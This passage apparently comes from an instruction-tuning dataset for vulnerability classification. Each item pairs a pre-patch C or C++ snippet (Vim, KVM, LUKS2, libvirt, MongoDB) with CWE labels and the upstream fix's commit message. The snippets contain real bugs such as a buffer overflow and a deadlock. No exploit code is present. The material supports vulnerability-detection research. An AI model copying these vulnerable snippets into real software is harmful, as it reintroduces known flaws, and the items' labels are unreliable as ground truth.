expr_table[i]) == 0)\n\t {\n\t\tint si = 0, di = 0;\n\n\t\tfor (;;)\n\t\t{\n\t\t if (arg[si] == '~')\n\t\t\td[di++] = '\\\\';\n\t\t d[di++] = arg[si];\n\t\t if (arg[si] == NUL)\n\t\t\tbreak;\n\t\t ++si;\n\t\t}\n\t\tbreak;\n\t }\n }\n else\n {\n\t// Recognize a few exceptions to the rule. Some strings that contain\n\t// '*'are changed to \"star\", otherwise '*' is recognized as a wildcard.\n\tfor (i = 0; except_tbl[i][0] != NULL; ++i)\n\t if (STRCMP(arg, except_tbl[i][0]) == 0)\n\t {\n\t\tSTRCPY(d, except_tbl[i][1]);\n\t\tbreak;\n\t }\n }\n\n if (d[0] == NUL)\t// no match in table\n {\n\t// Replace \"\\S\" with \"/\\\\S\", etc. Otherwise every tag is matched.\n\t// Also replace \"\\%^\" and \"\\%(\", they match every tag too.\n\t// Also \"\\zs\", \"\\z1\", etc.\n\t// Also \"\\@<\", \"\\@=\", \"\\@<=\", etc.\n\t// And also \"\\_$\" and \"\\_^\".\n\tif (arg[0] == '\\\\'\n\t\t&& ((arg[1] != NUL && arg[2] == NUL)\n\t\t || (vim_strchr((char_u *)\"%_z@\", arg[1]) != NULL\n\t\t\t\t\t\t\t && arg[2] != NUL)))\n\t{\n\t STRCPY(d, \"/\\\\\\\\\");\n\t STRCPY(d + 3, arg + 1);\n\t // Check for \"/\\\\_$\", should be \"/\\\\_\\$\"\n\t if (d[3] == '_' && d[4] == '$')\n\t\tSTRCPY(d + 4, \"\\\\$\");\n\t}\n\telse\n\t{\n\t // Replace:\n\t // \"[:...:]\" with \"\\[:...:]\"\n\t // \"[++...]\" with \"\\[++...]\"\n\t // \"\\{\" with \"\\\\{\"\t\t -- matching \"} \\}\"\n\t if ((arg[0] == '[' && (arg[1] == ':'\n\t\t\t || (arg[1] == '+' && arg[2] == '+')))\n\t\t || (arg[0] == '\\\\' && arg[1] == '{'))\n\t *d++ = '\\\\';\n\n\t // If tag starts with \"('\", skip the \"(\". Fixes CTRL-] on ('option'.\n\t if (*arg == '(' && arg[1] == '\\'')\n\t arg++;\n\t for (s = arg; *s; ++s)\n\t {\n\t // Replace \"|\" with \"bar\" and '\"' with \"quote\" to match the name of\n\t // the tags for these commands.\n\t // Replace \"*\" with \".*\" and \"?\" with \".\" to match command line\n\t // completion.\n\t // Insert a backslash before '~', '$' and '.' to avoid their\n\t // special meaning.\n\t if (d - IObuff > IOSIZE - 10)\t// getting too long!?\n\t\tbreak;\n\t switch (*s)\n\t {\n\t\tcase '|': STRCPY(d, \"bar\");\n\t\t\t d += 3;\n\t\t\t continue;\n\t\tcase '\"': STRCPY(d, \"quote\");\n\t\t\t d += 5;\n\t\t\t continue;\n\t\tcase '*': *d++ = '.';\n\t\t\t break;\n\t\tcase '?': *d++ = '.';\n\t\t\t continue;\n\t\tcase '$':\n\t\tcase '.':\n\t\tcase '~': *d++ = '\\\\';\n\t\t\t break;\n\t }\n\n\t // Replace \"^x\" by \"CTRL-X\". Don't do this for \"^_\" to make\n\t // \":help i_^_CTRL-D\" work.\n\t // Insert '-' before and after \"CTRL-X\" when applicable.\n\t if (*s < ' ' || (*s == '^' && s[1] && (ASCII_ISALPHA(s[1])\n\t\t\t || vim_strchr((char_u *)\"?@[\\\\]^\", s[1]) != NULL)))\n\t {\n\t\tif (d > IObuff && d[-1] != '_' && d[-1] != '\\\\')\n\t\t *d++ = '_';\t\t// prepend a '_' to make x_CTRL-x\n\t\tSTRCPY(d, \"CTRL-\");\n\t\td += 5;\n\t\tif (*s < ' ')\n\t\t{\n#ifdef EBCDIC\n\t\t *d++ = CtrlChar(*s);\n#else\n\t\t *d++ = *s + '@';\n#endif\n\t\t if (d[-1] == '\\\\')\n\t\t\t*d++ = '\\\\';\t// double a backslash\n\t\t}\n\t\telse\n\t\t *d++ = *++s;\n\t\tif (s[1] != NUL && s[1] != '_')\n\t\t *d++ = '_';\t\t// append a '_'\n\t\tcontinue;\n\t }\n\t else if (*s == '^')\t\t// \"^\" or \"CTRL-^\" or \"^_\"\n\t\t*d++ = '\\\\';\n\n\t // Insert a backslash before a backslash after a slash, for search\n\t // pattern tags: \"/\\|\" --> \"/\\\\|\".\n\t else if (s[0] == '\\\\' && s[1] != '\\\\'\n\t\t\t\t\t && *arg == '/' && s == arg + 1)\n\t\t*d++ = '\\\\';\n\n\t // \"CTRL-\\_\" -> \"CTRL-\\\\_\" to avoid the special meaning of \"\\_\" in\n\t // \"CTRL-\\_CTRL-N\"\n\t if (STRNICMP(s, \"CTRL-\\\\_\", 7) == 0)\n\t {\n\t\tSTRCPY(d, \"CTRL-\\\\\\\\\");\n\t\td += 7;\n\t\ts += 6;\n\t }\n\n\t *d++ = *s;\n\n\t // If tag contains \"({\" or \"([\", tag terminates at the \"(\".\n\t // This is for help on functions, e.g.: abs({expr}).\n\t if (*s == '(' && (s[1] == '{' || s[1] =='['))\n\t\tbreak;\n\n\t // If tag starts with ', toss everything after a second '. Fixes\n\t // CTRL-] on 'option'. (would include the trailing '.').\n\t if (*s == '\\'' && s > arg && *arg == '\\'')\n\t\tbreak;\n\t // Also '{' and '}'.\n\t if (*s == '}' && s > arg && *arg == '{')\n\t\tbreak;\n\t }\n\t *d = NUL;\n\n\t if (*IObuff == '`')\n\t {\n\t if (d > IObuff + 2 && d[-1] == '`')\n\t {\n\t\t // remove the backticks from `command`\n\t\t mch_memmove(IObuff, IObuff + 1, STRLEN(IObuff));\n\t\t d[-2] = NUL;\n\t }\n\t else if (d > IObuff + 3 && d[-2] == '`' && d[-1] == ',')\n\t {\n\t\t // remove the backticks and comma from `command`,\n\t\t mch_memmove(IObuff, IObuff + 1, STRLEN(IObuff));\n\t\t d[-3] = NUL;\n\t }\n\t else if (d > IObuff + 4 && d[-3] == '`'\n\t\t\t\t\t && d[-2] == '\\\\' && d[-1] == '.')\n\t {\n\t\t // remove the backticks and dot from `command`\\.\n\t\t mch_memmove(IObuff, IObuff + 1, STRLEN(IObuff));\n\t\t d[-4] = NUL;\n\t }\n\t }\n\t}\n }\n\n *matches = (char_u **)\"\";\n *num_matches = 0;\n flags = TAG_HELP | TAG_REGEXP | TAG_NAMES | TAG_VERBOSE | TAG_NO_TAGFUNC;\n if (keep_lang)\n\tflags |= TAG_KEEP_LANG;\n if (find_tags(IObuff, num_matches, matches, flags, (int)MAXCOL, NULL) == OK\n\t && *num_matches > 0)\n {\n\t// Sort the matches found on the heuristic number that is after the\n\t// tag name.\n\tqsort((void *)*matches, (size_t)*num_matches,\n\t\t\t\t\t sizeof(char_u *), help_compare);\n\t// Delete more than TAG_MANY to reduce the size of the listing.\n\twhile (*num_matches > TAG_MANY)\n\t vim_free((*matches)[--*num_matches]);\n }\n return OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-122', 'CWE-787'], 'message': 'patch 8.2.3669: buffer overflow with long help argument\n\nProblem: Buffer overflow with long help argument.\nSolution: Use snprintf().'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int kvm_xen_shared_info_init(struct kvm *kvm, gfn_t gfn)\n{\n\tstruct gfn_to_pfn_cache *gpc = &kvm->arch.xen.shinfo_cache;\n\tgpa_t gpa = gfn_to_gpa(gfn);\n\tint wc_ofs, sec_hi_ofs;\n\tint ret = 0;\n\tint idx = srcu_read_lock(&kvm->srcu);\n\n\tif (gfn == GPA_INVALID) {\n\t\tkvm_gfn_to_pfn_cache_destroy(kvm, gpc);\n\t\tgoto out;\n\t}\n\n\tret = kvm_gfn_to_pfn_cache_init(kvm, gpc, NULL, false, true, gpa,\n\t\t\t\t\tPAGE_SIZE, false);\n\tif (ret)\n\t\tgoto out;\n\n\t/* Paranoia checks on the 32-bit struct layout */\n\tBUILD_BUG_ON(offsetof(struct compat_shared_info, wc) != 0x900);\n\tBUILD_BUG_ON(offsetof(struct compat_shared_info, arch.wc_sec_hi) != 0x924);\n\tBUILD_BUG_ON(offsetof(struct pvclock_vcpu_time_info, version) != 0);\n\n\t/* 32-bit location by default */\n\twc_ofs = offsetof(struct compat_shared_info, wc);\n\tsec_hi_ofs = offsetof(struct compat_shared_info, arch.wc_sec_hi);\n\n#ifdef CONFIG_X86_64\n\t/* Paranoia checks on the 64-bit struct layout */\n\tBUILD_BUG_ON(offsetof(struct shared_info, wc) != 0xc00);\n\tBUILD_BUG_ON(offsetof(struct shared_info, wc_sec_hi) != 0xc0c);\n\n\tif (kvm->arch.xen.long_mode) {\n\t\twc_ofs = offsetof(struct shared_info, wc);\n\t\tsec_hi_ofs = offsetof(struct shared_info, wc_sec_hi);\n\t}\n#endif\n\n\tkvm_write_wall_clock(kvm, gpa + wc_ofs, sec_hi_ofs - wc_ofs);\n\tkvm_make_all_cpus_request(kvm, KVM_REQ_MASTERCLOCK_UPDATE);\n\nout:\n\tsrcu_read_unlock(&kvm->srcu, idx);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'KVM: x86: Fix wall clock writes in Xen shared_info not to mark page dirty\n\nWhen dirty ring logging is enabled, any dirty logging without an active\nvCPU context will cause a kernel oops. But we've already declared that\nthe shared_info page doesn't get dirty tracking anyway, since it would\nbe kind of insane to mark it dirty every time we deliver an event channel\ninterrupt. Userspace is supposed to just assume it's always dirty any\ntime a vCPU can run or event channels are routed.\n\nSo stop using the generic kvm_write_wall_clock() and just write directly\nthrough the gfn_to_pfn_cache that we already have set up.\n\nWe can make kvm_write_wall_clock() static in x86.c again now, but let's\nnot remove the 'sec_hi_ofs' argument even though it's not used yet. At\nsome point we *will* want to use that for KVM guests too.\n\nFixes: 629b5348841a (\"KVM: x86/xen: update wallclock region\")\nReported-by: butt3rflyh4ck \nSigned-off-by: David Woodhouse \nMessage-Id: <20211210163625.2886-6-dwmw2@infradead.org>\nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int LUKS2_config_get_requirements(struct crypt_device *cd, struct luks2_hdr *hdr, uint32_t *reqs)\n{\n\tjson_object *jobj_config, *jobj_requirements, *jobj_mandatory, *jobj;\n\tint i, len;\n\tuint32_t req;\n\n\tassert(hdr);\n\tif (!hdr || !reqs)\n\t\treturn -EINVAL;\n\n\t*reqs = 0;\n\n\tif (!json_object_object_get_ex(hdr->jobj, \"config\", &jobj_config))\n\t\treturn 0;\n\n\tif (!json_object_object_get_ex(jobj_config, \"requirements\", &jobj_requirements))\n\t\treturn 0;\n\n\tif (!json_object_object_get_ex(jobj_requirements, \"mandatory\", &jobj_mandatory))\n\t\treturn 0;\n\n\tlen = (int) json_object_array_length(jobj_mandatory);\n\tif (len <= 0)\n\t\treturn 0;\n\n\tlog_dbg(cd, \"LUKS2 requirements detected:\");\n\n\tfor (i = 0; i < len; i++) {\n\t\tjobj = json_object_array_get_idx(jobj_mandatory, i);\n\t\treq = get_requirement_by_name(json_object_get_string(jobj));\n\t\tlog_dbg(cd, \"%s - %sknown\", json_object_get_string(jobj),\n\t\t\t\t reqs_unknown(req) ? \"un\" : \"\");\n\t\t*reqs |= req;\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-345'], 'message': 'Fix CVE-2021-4122 - LUKS2 reencryption crash recovery attack\n\nFix possible attacks against data confidentiality through LUKS2 online\nreencryption extension crash recovery.\n\nAn attacker can modify on-disk metadata to simulate decryption in\nprogress with crashed (unfinished) reencryption step and persistently\ndecrypt part of the LUKS device.\n\nThis attack requires repeated physical access to the LUKS device but\nno knowledge of user passphrases.\n\nThe decryption step is performed after a valid user activates\nthe device with a correct passphrase and modified metadata.\nThere are no visible warnings for the user that such recovery happened\n(except using the luksDump command). The attack can also be reversed\nafterward (simulating crashed encryption from a plaintext) with\npossible modification of revealed plaintext.\n\nThe problem was caused by reusing a mechanism designed for actual\nreencryption operation without reassessing the security impact for new\nencryption and decryption operations. While the reencryption requires\ncalculating and verifying both key digests, no digest was needed to\ninitiate decryption recovery if the destination is plaintext (no\nencryption key). Also, some metadata (like encryption cipher) is not\nprotected, and an attacker could change it. Note that LUKS2 protects\nvisible metadata only when a random change occurs. It does not protect\nagainst intentional modification but such modification must not cause\na violation of data confidentiality.\n\nThe fix introduces additional digest protection of reencryption\nmetadata. The digest is calculated from known keys and critical\nreencryption metadata. Now an attacker cannot create correct metadata\ndigest without knowledge of a passphrase for used keyslots.\nFor more details, see LUKS2 On-Disk Format Specification version 1.1.0.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: libxlDomainCleanup(libxlDriverPrivate *driver,\n virDomainObj *vm)\n{\n libxlDomainObjPrivate *priv = vm->privateData;\n g_autoptr(libxlDriverConfig) cfg = libxlDriverConfigGet(driver);\n int vnc_port;\n char *file;\n virHostdevManager *hostdev_mgr = driver->hostdevMgr;\n unsigned int hostdev_flags = VIR_HOSTDEV_SP_PCI;\n\n VIR_DEBUG(\"Cleaning up domain with id '%d' and name '%s'\",\n vm->def->id, vm->def->name);\n\n hostdev_flags |= VIR_HOSTDEV_SP_USB;\n\n /* Call hook with stopped operation. Ignore error and continue with cleanup */\n ignore_value(libxlDomainHookRun(driver, vm->def, 0,\n VIR_HOOK_LIBXL_OP_STOPPED,\n VIR_HOOK_SUBOP_END, NULL));\n\n virHostdevReAttachDomainDevices(hostdev_mgr, LIBXL_DRIVER_INTERNAL_NAME,\n vm->def, hostdev_flags);\n\n if (priv->lockProcessRunning) {\n VIR_FREE(priv->lockState);\n if (virDomainLockProcessPause(driver->lockManager, vm, &priv->lockState) < 0)\n VIR_WARN(\"Unable to release lease on %s\", vm->def->name);\n else\n priv->lockProcessRunning = false;\n VIR_DEBUG(\"Preserving lock state '%s'\", NULLSTR(priv->lockState));\n }\n\n libxlLoggerCloseFile(cfg->logger, vm->def->id);\n vm->def->id = -1;\n\n if (priv->deathW) {\n libxl_evdisable_domain_death(cfg->ctx, priv->deathW);\n priv->deathW = NULL;\n }\n\n priv->ignoreDeathEvent = false;\n\n if (!!g_atomic_int_dec_and_test(&driver->nactive) && driver->inhibitCallback)\n driver->inhibitCallback(false, driver->inhibitOpaque);\n\n if ((vm->def->ngraphics == 1) &&\n vm->def->graphics[0]->type == VIR_DOMAIN_GRAPHICS_TYPE_VNC &&\n vm->def->graphics[0]->data.vnc.autoport) {\n vnc_port = vm->def->graphics[0]->data.vnc.port;\n if (vnc_port >= LIBXL_VNC_PORT_MIN) {\n if (virPortAllocatorRelease(vnc_port) < 0)\n VIR_DEBUG(\"Could not mark port %d as unused\", vnc_port);\n }\n }\n\n libxlNetworkUnwindDevices(vm->def);\n\n file = g_strdup_printf(\"%s/%s.xml\", cfg->stateDir, vm->def->name);\n if (unlink(file) < 0 && errno != ENOENT && errno != ENOTDIR)\n VIR_DEBUG(\"Failed to remove domain XML for %s\", vm->def->name);\n VIR_FREE(file);\n\n /* Call hook with release operation. Ignore error and continue with cleanup */\n ignore_value(libxlDomainHookRun(driver, vm->def, 0,\n VIR_HOOK_LIBXL_OP_RELEASE,\n VIR_HOOK_SUBOP_END, NULL));\n\n virDomainObjRemoveTransientDef(vm);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-667'], 'message': 'libxl: Disable death events after receiving a shutdown event\n\nThe libxl driver will handle all domain destruction and cleanup\nwhen receiving a domain shutdown event from libxl. Commit fa30ee04a2a\nintroduced the ignoreDeathEvent boolean in the DomainObjPrivate struct\nto ignore subsequent death events from libxl. But libxl already provides\na mechanism to disable death events via libxl_evdisable_domain_death.\n\nThis patch partially reverts commit fa30ee04a2a and instead uses\nlibxl_evdisable_domain_death to disable subsequent death events when\nprocessing a shutdown event.\n\nSigned-off-by: Jim Fehlig \nReviewed-by: Daniel P. Berrang\u00e9 \nReviewed-by: J\u00e1n Tomko '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: libxlDomainShutdownThread(void *opaque)\n{\n struct libxlEventHandlerThreadInfo *shutdown_info = opaque;\n virDomainObj *vm = shutdown_info->vm;\n libxl_event *ev = shutdown_info->event;\n libxlDriverPrivate *driver = shutdown_info->driver;\n virObjectEvent *dom_event = NULL;\n libxl_shutdown_reason xl_reason = ev->u.domain_shutdown.shutdown_reason;\n g_autoptr(libxlDriverConfig) cfg = libxlDriverConfigGet(driver);\n libxl_domain_config d_config;\n\n libxl_domain_config_init(&d_config);\n\n if (libxlDomainObjBeginJob(driver, vm, LIBXL_JOB_MODIFY) < 0)\n goto cleanup;\n\n if (xl_reason == LIBXL_SHUTDOWN_REASON_POWEROFF) {\n virDomainObjSetState(vm, VIR_DOMAIN_SHUTOFF,\n VIR_DOMAIN_SHUTOFF_SHUTDOWN);\n\n dom_event = virDomainEventLifecycleNewFromObj(vm,\n VIR_DOMAIN_EVENT_STOPPED,\n VIR_DOMAIN_EVENT_STOPPED_SHUTDOWN);\n switch ((virDomainLifecycleAction) vm->def->onPoweroff) {\n case VIR_DOMAIN_LIFECYCLE_ACTION_DESTROY:\n libxlDomainShutdownHandleDestroy(driver, vm);\n goto endjob;\n case VIR_DOMAIN_LIFECYCLE_ACTION_RESTART:\n case VIR_DOMAIN_LIFECYCLE_ACTION_RESTART_RENAME:\n libxlDomainShutdownHandleRestart(driver, vm);\n goto endjob;\n case VIR_DOMAIN_LIFECYCLE_ACTION_PRESERVE:\n case VIR_DOMAIN_LIFECYCLE_ACTION_COREDUMP_DESTROY:\n case VIR_DOMAIN_LIFECYCLE_ACTION_COREDUMP_RESTART:\n case VIR_DOMAIN_LIFECYCLE_ACTION_LAST:\n goto endjob;\n }\n } else if (xl_reason == LIBXL_SHUTDOWN_REASON_CRASH) {\n virDomainObjSetState(vm, VIR_DOMAIN_SHUTOFF,\n VIR_DOMAIN_SHUTOFF_CRASHED);\n\n dom_event = virDomainEventLifecycleNewFromObj(vm,\n VIR_DOMAIN_EVENT_STOPPED,\n VIR_DOMAIN_EVENT_STOPPED_CRASHED);\n switch ((virDomainLifecycleAction) vm->def->onCrash) {\n case VIR_DOMAIN_LIFECYCLE_ACTION_DESTROY:\n libxlDomainShutdownHandleDestroy(driver, vm);\n goto endjob;\n case VIR_DOMAIN_LIFECYCLE_ACTION_RESTART:\n case VIR_DOMAIN_LIFECYCLE_ACTION_RESTART_RENAME:\n libxlDomainShutdownHandleRestart(driver, vm);\n goto endjob;\n case VIR_DOMAIN_LIFECYCLE_ACTION_PRESERVE:\n case VIR_DOMAIN_LIFECYCLE_ACTION_LAST:\n goto endjob;\n case VIR_DOMAIN_LIFECYCLE_ACTION_COREDUMP_DESTROY:\n libxlDomainAutoCoreDump(driver, vm);\n libxlDomainShutdownHandleDestroy(driver, vm);\n goto endjob;\n case VIR_DOMAIN_LIFECYCLE_ACTION_COREDUMP_RESTART:\n libxlDomainAutoCoreDump(driver, vm);\n libxlDomainShutdownHandleRestart(driver, vm);\n goto endjob;\n }\n } else if (xl_reason == LIBXL_SHUTDOWN_REASON_REBOOT) {\n virDomainObjSetState(vm, VIR_DOMAIN_SHUTOFF,\n VIR_DOMAIN_SHUTOFF_SHUTDOWN);\n\n dom_event = virDomainEventLifecycleNewFromObj(vm,\n VIR_DOMAIN_EVENT_STOPPED,\n VIR_DOMAIN_EVENT_STOPPED_SHUTDOWN);\n switch ((virDomainLifecycleAction) vm->def->onReboot) {\n case VIR_DOMAIN_LIFECYCLE_ACTION_DESTROY:\n libxlDomainShutdownHandleDestroy(driver, vm);\n goto endjob;\n case VIR_DOMAIN_LIFECYCLE_ACTION_RESTART:\n case VIR_DOMAIN_LIFECYCLE_ACTION_RESTART_RENAME:\n libxlDomainShutdownHandleRestart(driver, vm);\n goto endjob;\n case VIR_DOMAIN_LIFECYCLE_ACTION_PRESERVE:\n case VIR_DOMAIN_LIFECYCLE_ACTION_COREDUMP_DESTROY:\n case VIR_DOMAIN_LIFECYCLE_ACTION_COREDUMP_RESTART:\n case VIR_DOMAIN_LIFECYCLE_ACTION_LAST:\n goto endjob;\n }\n } else if (xl_reason == LIBXL_SHUTDOWN_REASON_SOFT_RESET) {\n libxlDomainObjPrivate *priv = vm->privateData;\n\n if (libxlRetrieveDomainConfigurationWrapper(cfg->ctx, vm->def->id,\n &d_config) != 0) {\n VIR_ERROR(_(\"Failed to retrieve config for VM '%s'. \"\n \"Unable to perform soft reset. Destroying VM\"),\n vm->def->name);\n libxlDomainShutdownHandleDestroy(driver, vm);\n goto endjob;\n }\n\n if (priv->deathW) {\n libxl_evdisable_domain_death(cfg->ctx, priv->deathW);\n priv->deathW = NULL;\n }\n\n if (libxl_domain_soft_reset(cfg->ctx, &d_config, vm->def->id,\n NULL, NULL) != 0) {\n VIR_ERROR(_(\"Failed to soft reset VM '%s'. Destroying VM\"),\n vm->def->name);\n libxlDomainShutdownHandleDestroy(driver, vm);\n goto endjob;\n }\n libxl_evenable_domain_death(cfg->ctx, vm->def->id, 0, &priv->deathW);\n libxlDomainUnpauseWrapper(cfg->ctx, vm->def->id);\n } else {\n VIR_INFO(\"Unhandled shutdown_reason %d\", xl_reason);\n }\n\n endjob:\n libxlDomainObjEndJob(driver, vm);\n\n cleanup:\n virDomainObjEndAPI(&vm);\n virObjectEventStateQueue(driver->domainEventState, dom_event);\n libxl_event_free(cfg->ctx, ev);\n VIR_FREE(shutdown_info);\n libxl_domain_config_dispose(&d_config);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-667'], 'message': 'libxl: Search for virDomainObj in event handler threads\n\nlibxl can deliver events and invoke callbacks on any application thread\ncalling into libxl. This can cause deadlock in the libvirt libxl driver\n\nThread 19 (Thread 0x7f31411ec700 (LWP 14068) \"libvirtd\"):\n#0 0x00007f318520cc7d in __lll_lock_wait () from /lib64/libpthread.so.0\n#1 0x00007f3185205ed5 in pthread_mutex_lock () from /lib64/libpthread.so.0\n#2 0x00007f3189488015 in virMutexLock (m=) at ../../src/util/virthread.c:79\n#3 0x00007f3189463f3b in virObjectLock (anyobj=) at ../../src/util/virobject.c:433\n#4 0x00007f31894f2f41 in virDomainObjListSearchID (payload=0x7f317400a6d0, name=, data=0x7f31411eaeac) at ../../src/conf/virdomainobjlist.c:105\n#5 0x00007f3189437ac5 in virHashSearch (ctable=0x7f3124025a30, iter=iter@entry=0x7f31894f2f30 , data=data@entry=0x7f31411eaeac, name=name@entry=0x0) at ../../src/util/virhash.c:745\n#6 0x00007f31894f3919 in virDomainObjListFindByID (doms=0x7f3124025430, id=) at ../../src/conf/virdomainobjlist.c:121\n#7 0x00007f3152f292e5 in libxlDomainEventHandler (data=0x7f3124023d80, event=0x7f310c010ae0) at ../../src/libxl/libxl_domain.c:660\n#8 0x00007f3152c6ff5d in egc_run_callbacks (egc=egc@entry=0x7f31411eaf50) at libxl_event.c:1427\n#9 0x00007f3152c718bd in libxl__egc_cleanup (egc=0x7f31411eaf50) at libxl_event.c:1458\n#10 libxl__ao_inprogress (ao=ao@entry=0x7f310c00b8a0, file=file@entry=0x7f3152cce987 \"libxl_domain.c\", line=line@entry=730, func=func@entry=0x7f3152ccf750 <__func__.22238> \"libxl_domain_unpause\") at libxl_event.c:2047\n#11 0x00007f3152c8c5b8 in libxl_domain_unpause (ctx=0x7f3124015a40, domid=, ao_how=ao_how@entry=0x0) at libxl_domain.c:730\n#12 0x00007f3152f2a584 in libxl_domain_unpause_0x041200 (domid=, ctx=) at /usr/include/libxl.h:1756\n#13 libxlDomainStart (driver=driver@entry=0x7f3124023d80, vm=vm@entry=0x7f317400a6d0, start_paused=start_paused@entry=false, restore_fd=restore_fd@entry=-1, restore_ver=, restore_ver@entry=2) at ../../src/libxl/libxl_domain.c:1482\n#14 0x00007f3152f2a6e3 in libxlDomainStartNew (driver=driver@entry=0x7f3124023d80, vm=vm@entry=0x7f317400a6d0, start_paused=start_paused@entry=false) at ../../src/libxl/libxl_domain.c:1545\n#15 0x00007f3152f2a789 in libxlDomainShutdownHandleRestart (driver=0x7f3124023d80, vm=0x7f317400a6d0) at ../../src/libxl/libxl_domain.c:464\n#16 0x00007f3152f2a9e4 in libxlDomainShutdownThread (opaque=) at ../../src/libxl/libxl_domain.c:559\n#17 0x00007f3189487ee2 in virThreadHelper (data=) at ../../src/util/virthread.c:196\n#18 0x00007f3185203539 in start_thread () from /lib64/libpthread.so.0\n#19 0x00007f3184f3becf in clone () from /lib64/libc.so.6\n\nFrame 16 runs a thread created to handle domain shutdown processing for\ndomid 28712. In this case the event contained the reboot reason, so the\nold domain is destroyed and a new one is created by libxlDomainStart new.\nAfter starting the domain, it is unpaused by calling libxl_domain_unpause\nin frame 12. While the thread is running within libxl, libxl takes the\nopportunity to deliver a pending domain shutdown event for unrelated domid\n28710. While searching for the associated virDomainObj by ID, a deadlock is\nencountered when attempting to lock the virDomainObj for domid 28712, which\nis already locked since this thread is processing its shutdown event.\n\nThe deadlock can be avoided by moving the search for a virDomainObj\nassociated with the event domid to the shutdown thread. The same is done\nfor the death thread.\n\nSigned-off-by: Jim Fehlig \nReviewed-by: Daniel P. Berrang\u00e9 \nReviewed-by: J\u00e1n Tomko '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void addDbAdminAnyDbPrivileges(PrivilegeVector* privileges) {\n Privilege::addPrivilegeToPrivilegeVector(\n privileges, Privilege(ResourcePattern::forClusterResource(), ActionType::listDatabases));\n Privilege::addPrivilegeToPrivilegeVector(\n privileges, Privilege(ResourcePattern::forAnyNormalResource(), dbAdminRoleActions));\n Privilege::addPrivilegeToPrivilegeVector(\n privileges,\n Privilege(ResourcePattern::forCollectionName(\"system.indexes\"), readRoleActions));\n Privilege::addPrivilegeToPrivilegeVector(\n privileges,\n Privilege(ResourcePattern::forCollectionName(\"system.namespaces\"), readRoleActions));\n ActionSet profileActions = readRoleActions;\n profileActions.addAction(ActionType::convertToCapped);\n profileActions.addAction(ActionType::createCollection);\n profileActions.addAction(ActionType::dropCollection);\n Privilege::addPrivilegeToPrivilegeVector(\n privileges,\n Privilege(ResourcePattern::forCollectionName(\"system.profile\"), profileActions));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'SERVER-36263 Bypassing operation validation in applyOps should require special privilege'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: do_arg_all(\n int\tcount,\n int\tforceit,\t\t// hide buffers in current windows\n int keep_tabs)\t\t// keep current tabs, for \":tab drop file\"\n{\n int\t\ti;\n win_T\t*wp, *wpnext;\n char_u\t*opened;\t// Array of weight for which args are open:\n\t\t\t\t// 0: not opened\n\t\t\t\t// 1: opened in other tab\n\t\t\t\t// 2: opened in curtab\n\t\t\t\t// 3: opened in curtab and curwin\n\t\t\t\t//\n int\t\topened_len;\t// length of opened[]\n int\t\tuse_firstwin = FALSE;\t// use first window for arglist\n int\t\ttab_drop_empty_window = FALSE;\n int\t\tsplit_ret = OK;\n int\t\tp_ea_save;\n alist_T\t*alist;\t\t// argument list to be used\n buf_T\t*buf;\n tabpage_T\t*tpnext;\n int\t\thad_tab = cmdmod.cmod_tab;\n win_T\t*old_curwin, *last_curwin;\n tabpage_T\t*old_curtab, *last_curtab;\n win_T\t*new_curwin = NULL;\n tabpage_T\t*new_curtab = NULL;\n\n#ifdef FEAT_CMDWIN\n if (cmdwin_type != 0)\n {\n\temsg(_(e_invalid_in_cmdline_window));\n\treturn;\n }\n#endif\n if (ARGCOUNT <= 0)\n {\n\t// Don't give an error message. We don't want it when the \":all\"\n\t// command is in the .vimrc.\n\treturn;\n }\n setpcmark();\n\n opened_len = ARGCOUNT;\n opened = alloc_clear(opened_len);\n if (opened == NULL)\n\treturn;\n\n // Autocommands may do anything to the argument list. Make sure it's not\n // freed while we are working here by \"locking\" it. We still have to\n // watch out for its size to be changed.\n alist = curwin->w_alist;\n ++alist->al_refcount;\n\n old_curwin = curwin;\n old_curtab = curtab;\n\n# ifdef FEAT_GUI\n need_mouse_correct = TRUE;\n# endif\n\n // Try closing all windows that are not in the argument list.\n // Also close windows that are not full width;\n // When 'hidden' or \"forceit\" set the buffer becomes hidden.\n // Windows that have a changed buffer and can't be hidden won't be closed.\n // When the \":tab\" modifier was used do this for all tab pages.\n if (had_tab > 0)\n\tgoto_tabpage_tp(first_tabpage, TRUE, TRUE);\n for (;;)\n {\n\ttpnext = curtab->tp_next;\n\tfor (wp = firstwin; wp != NULL; wp = wpnext)\n\t{\n\t wpnext = wp->w_next;\n\t buf = wp->w_buffer;\n\t if (buf->b_ffname == NULL\n\t\t || (!keep_tabs && (buf->b_nwindows > 1\n\t\t\t || wp->w_width != Columns)))\n\t\ti = opened_len;\n\t else\n\t {\n\t\t// check if the buffer in this window is in the arglist\n\t\tfor (i = 0; i 